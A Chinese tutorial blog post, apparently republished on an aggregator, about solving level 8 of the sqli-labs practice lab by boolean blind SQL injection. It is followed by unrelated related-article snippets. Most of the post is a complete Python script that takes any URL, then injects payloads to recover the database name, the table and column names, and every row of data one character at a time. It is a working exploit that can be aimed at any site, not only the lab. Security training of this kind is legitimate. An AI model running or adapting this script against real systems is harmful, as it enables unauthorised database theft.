基于python的布尔盲注爆破脚本(sqli-libs第八关)

2023-11-17

写这个脚本的原因是因为布尔爆破步骤的繁琐,因此写下这个半自动化脚本来提升效率,只需输入url和标志词便可开始爆破

下面结合sqli-libs第八关来详细说明:

这一关是布尔盲注,布尔盲注用于页面没有回显的情况下,但是心细的同学会发现当我们注入的sql语句正确的时候页面会显示,当出现错误的时候页面是完全不显示的,这个时候也就是出现了两种不同的情况,我们便可以通过这两种情况去猜数据,因此我们也就需要用爆破来解决问题了,本文通过python脚本的方式来爆破,脚本源码放在文章末尾。当然也可以用sqlmap,burpsuite来爆破都是可以的,但是我们不能仅仅依赖别人写好的脚本,还是得自己研究一下布尔盲注的原理的。

  • 老规矩,第一步先判断数据类型

  • and 1=1 和 and1=2来判断

 

  • 我们发现都是正常的,于是可以判断是字符型注入了

  • 下一步开始判断闭合方式,输入单引号和双引号

 

  • 最后判断为单引号闭合,具体判断方法参考往期

  • 下一步判断查询列数

 

  • 依旧是3列

  • 下一步,判断回显位

 

  • 反常的很,我们发现数据并没有回显,这个时候我们就要想起来盲注了

  • 我们输个错误的sql语句试一下看看是不是用布尔盲注可以实现

 

  • 我们发现页面完全没有显示了,说明布尔注入可以一试

  • 下一步,我们上脚本来爆破

#布尔盲注脚本
#为了更加方便的进行布尔盲注,而且省略大部分重复且繁琐的步骤,故写下此脚本
#作者:@hengheng
​
import requests
​
base_url=input('请输入url地址(输入的时候自己加上闭合方式):')
flag_text=input('请输入可判断的标志词:')
​
'''
    爆破思路
1.爆破数据库名的长度
2.爆破数据库名
3.爆破该数据库名下的表的个数
4.爆破该数据库下每张表的长度
5.爆破数据库下每张表的名称
6.爆破某张表下的列的个数
7.爆破某张表下的每个字段的长度
8.爆破每张表下的每个字段的名称
9.爆破每个字段下的每条信息
'''
#全局变量
database_length=0
database_name=''
table_counts=0
table_length=0
table_name=''
column_counts=0
column_length=0
column_name=''
information_counts=0
information_length=0
information_name=''
#获取数据库长度
for i in range(1,50):
    payload = f' and length(database())={i} --+'
    new_url=base_url+payload
    if flag_text in requests.get(new_url).text:
        database_length=i
        break
#获取数据库名称
for i in range(1,database_length+1):
    for m in range(65,123):
        payload=f' and substr(database(),{i},1)=%27{chr(m)}%27 --+'
        new_url=base_url+payload
        if flag_text in requests.get(new_url).text:
            database_name=database_name+chr(m)
            break
#获取数据库下的表的数量
for i in range(1,100):
    payload = f' and (select count(table_name) from information_schema.tables where table_schema=%27security%27)= {i} --+'
    new_url=base_url+payload
    if flag_text in requests.get(new_url).text:
        table_counts=i
        break
# 获取所有的表的长度和名称
for i in range(1,table_counts+1):
    table_name=''
    for m in range(1,50):
        payload=f' and length((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1))={m} --+'
        new_url=base_url+payload
        if flag_text in requests.get(new_url).text:
            table_length=m
            break
    for m in range(1,table_length+1):
        for n in range(65,123):
            payload=f' and substr((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1),{m},1)=%27{chr(n)}%27 --+'
            new_url=base_url+payload
            if flag_text in requests.get(new_url).text:
                table_name=table_name+chr(n)
                break
    print(f'表{i}的名称为:'+table_name.lower())
    #在这里知道表名了,直接获取获取表下面的列的数量,长度,以及名称
    for a in range(1,100):
        payload=f' and (select count(column_name) from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27)={a} --+'
        new_url=base_url+payload
        if flag_text in requests.get(new_url).text:
            column_counts=a
            break
    #获取各个列的长度以及名称
    for b in range(1,column_counts+1):
        column_name=''
        for c in range(1,50):
            payload = f' and length((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1))={c} --+'
            new_url = base_url + payload
            if flag_text in requests.get(new_url).text:
                column_length = c
                break
        #知道了列的长度然后获取名称
        for m in range(1, column_length + 1):
            for n in range(65, 123):
                payload = f' and substr((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1),{m},1)=%27{chr(n)}%27 --+'
                new_url = base_url + payload
                if flag_text in requests.get(new_url).text:
                    column_name = column_name + chr(n)
                    break
        #此时知道了当前列名
        print(f'列{b}的名称为:'+column_name.lower())
        # 在这里知道列名了,直接获取获取列下面的数据的数量,长度,以及名称
        for x in range(0, 100):
            payload = f' and (select count({column_name.lower()}) from {table_name.lower()})={x} --+'
            new_url = base_url + payload
            if flag_text in requests.get(new_url).text:
                information_counts = x
                break
        # 获取各个数据的长度以及名称
        for y in range(1, information_counts + 1):
            information_name = ''
            for z in range(1, 50):
                payload = f' and length((select {column_name.lower()} from {table_name.lower()} limit {y},1))={z} --+'
                new_url = base_url + payload
                if flag_text in requests.get(new_url).text:
                    information_length = z
                    break
            # 知道了列的长度然后获取名称
            for j in range(1, information_length + 1):
                for k in range(65, 123):
                    payload = f' and substr((select {column_name.lower()} from {table_name.lower()} limit {y},1),{j},1)=%27{chr(k)}%27 --+'
                    new_url = base_url + payload
                    if flag_text in requests.get(new_url).text:
                        information_name = information_name + chr(k)
                        break
            # 此时知道了当前列名
            print(f'数据{y}的名称为:' + information_name.lower())
​
print('数据库名称为:   '+database_name)
print('该数据库下表的个数:'+str(table_counts))

  • 最终得到所有数据

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于python的布尔盲注爆破脚本(sqli-libs第八关) 的相关文章

随机推荐

  • ARM+Linux中断系统详细分析

    ULK第四章里明确讲到 Linux实现了一种没有优先级的中断模型 并且 Linux中断和异常都支持嵌套 这个我不太理解了 这两种说法都与我以前的理解刚好相反 核对了原书 翻译没有错 Linux中断系统到底是否支持优先级 可否嵌套 中断号又是
  • c# json解析(反序列化)、json规范化

    使用 NETFramework3 5 4 0中提供的System Web Script Serialization命名空间下的JavaScriptSerializer类进行对象的序列化与反序列化 很直接 要求当前的工程的TargetFram
  • Two Divisors【GCD数论】

    You are given nn integers a1 a2 ana1 a2 an For each aiai find its two divisors d1 gt 1d1 gt 1 and d2 gt 1d2 gt 1 such th
  • vue实现预览PDF、Excel、Docx、Txt、PPT文件的功能

    目录 一 实现步骤 二 实现效果 代码真实可用 一 实现步骤 1 使用的是vue和elementUI 假设有这些变量 attachment是附件的意思 data return previewDialog false attachmentSr
  • 交换机与路由器技术:静态NAT、动态NAT、PAT和端口镜像

    网络地址转换NAT 1 静态转换 2 动态转换 3 端口多路复用PAT 4 端口映射 服务器映射 目录 一 NAT基本概念 1 目的 2 出现背景 3 转换方式 二 静态NAT 三 动态NAT 三 PAT 总结 五 端口镜像 1 基本概念
  • 【unity】Shader.SetGlobalFloat/Vector/Texture 不生效

    Shader SetGlobalFloat Shader SetGlobalVector Shader SetGlobalTexture等等函数不生效是为什么 答 shader的properties要去掉对应的变量 也就是说shader获取
  • echarts的基本使用

    一 基本使用 1 导入echarts js 下载并导入 地址 https echarts apache org zh download html 使用 CDN 方法 https cdn staticfile org echarts 4 3
  • C++ private,public,protected的访问范围解析

    第一 private public protected的访问范围 private 只能由该类中的函数 其友元函数访问 不能被任何其他访问 该类的对象也不能访问 protected 可以被该类中的函数 子类的函数 以及其友元函数访问 但不能被
  • BuilderException: Error parsing SQL Mapper Configuration. Cause: java.lang.NullPointerException

    集成mybatis plus sqlSessionFactory改为MybatisSqlSessionFactoryBean后 项目无法启动
  • 团队新人多,稳定性经验不足,研发质量怎么保障?|TakinTalks论道

    一分钟精华速览 在研发和稳定性保障过程中 人与设备 程序 组织的交互是一个复杂的过程 虽然人们极少会恶意犯错 但由于受特定情景下的实际条件影响 人为失误也时有发生 那么 如何尽可能减少这些失误的发生 如何保障研发质量和系统稳定 TakinT
  • 读《大数据时代》有感

    大数据时代 读后感 大数据时代 这本书主要描述的是大数据时代到临人们生活 工作与思维各方面所遇到的重大变革 文中清晰的阐述了大数据的基本概念和特点 并列出明确的观点 不管对于产业实践者 还是对于政府和公众机构 都非常具有价值 作者将本书分为
  • STM32系列(HAL库)——F103C8T6驱动WS2812全彩RGB模块(PWM+DMA方式)

    1 软件准备 1 编程平台 Keil5 2 CubeMX 2 硬件准备 1 某宝买的RGB模块 4个灯珠级联 2 F1的板子 本例使用经典F103C8T6 3 ST link 下载器 4 杜邦线若干 3 模块资料 1 模块简介 没什么比手册
  • 图像目标检测之cascade-rcnn实践

    最近一直在调试目标检测方面的模型 其中mmdetection中就集成了许多的目标检测模型 其中表现比较好的模型中有cascade rcnn 因此也趁这个机会具体了解一下这个模型的发展脉络 1 模型原理 在two stage模型中 常见都会预
  • 【网络云盘客户端】——项目简介

    项目简介 网络云盘客户端时基于QT C 框架实现了一个网络云盘客户端软件 主要功能包括用户的注册 登录 显示用户的个人文件列表 以及文件的上传 下载 删除 共享文件 登录界面 主窗口界面 文件属性对话框 文件展示列表 上传文件 详细实现参考
  • 【图像处理】 常用边缘检测算法对比分析

    边缘的定义 首先介绍什么是边缘 在数字图像中 边缘是指图像局部变化最显著的部分 边缘主要存在于目标与目标 目标与背景之间 是图像局部特性的不连续性 如灰度的突变 纹理结构的图标 颜色的图标等 尽管图像的边缘点产生的原因各不相同 但他们都是图
  • [操作系统] 分页存储管理中的页表项长度

    看到很多人有疑问 读到这里的时候我也有疑问的 在操作系统的分页存储管理方式中 写道 将页表始址与页号和页表项长度的乘积相加 便得到该表项在页表中的位置 于是可从中得到该页的物理块号 将之装入物理地址寄存器中 列出式子出来 页表始址 页号x页
  • Java excel poi 下载模板功能无法在Microsoft Excel 打开,但是可以WPS Excel打开

    问题 并且只显示前几个字段 后面的几个字段不显示 版本使用
  • 我的 Android 求职简历

    昨晚在Diycode的微信交流群里面 有位在校的童鞋想要找一份开发的实习工作 他把简历做好后在群上共享了一份 我看到后便下载了一份 看了看简历内容 我在想如果我是招聘单位看简历的 这份简历可以说是基本没戏的 因为内容基本和开发没有多大关系
  • Qt5Error:msvc-version.conf loaded but QMAKE_MSC_VER ins‘t set

    错误描述 msvc version conf loaded but QMAKE MSC VER ins t set 解决方案 这种情况一般都是修改了项目的配置之后出现的 也就是 qmake stash文件出错 删除这个文件再进行重新编译即可
  • 基于python的布尔盲注爆破脚本(sqli-libs第八关)

    写这个脚本的原因是因为布尔爆破步骤的繁琐 因此写下这个半自动化脚本来提升效率 只需输入url和标志词便可开始爆破 下面结合sqli libs第八关来详细说明 这一关是布尔盲注 布尔盲注用于页面没有回显的情况下 但是心细的同学会发现当我们注入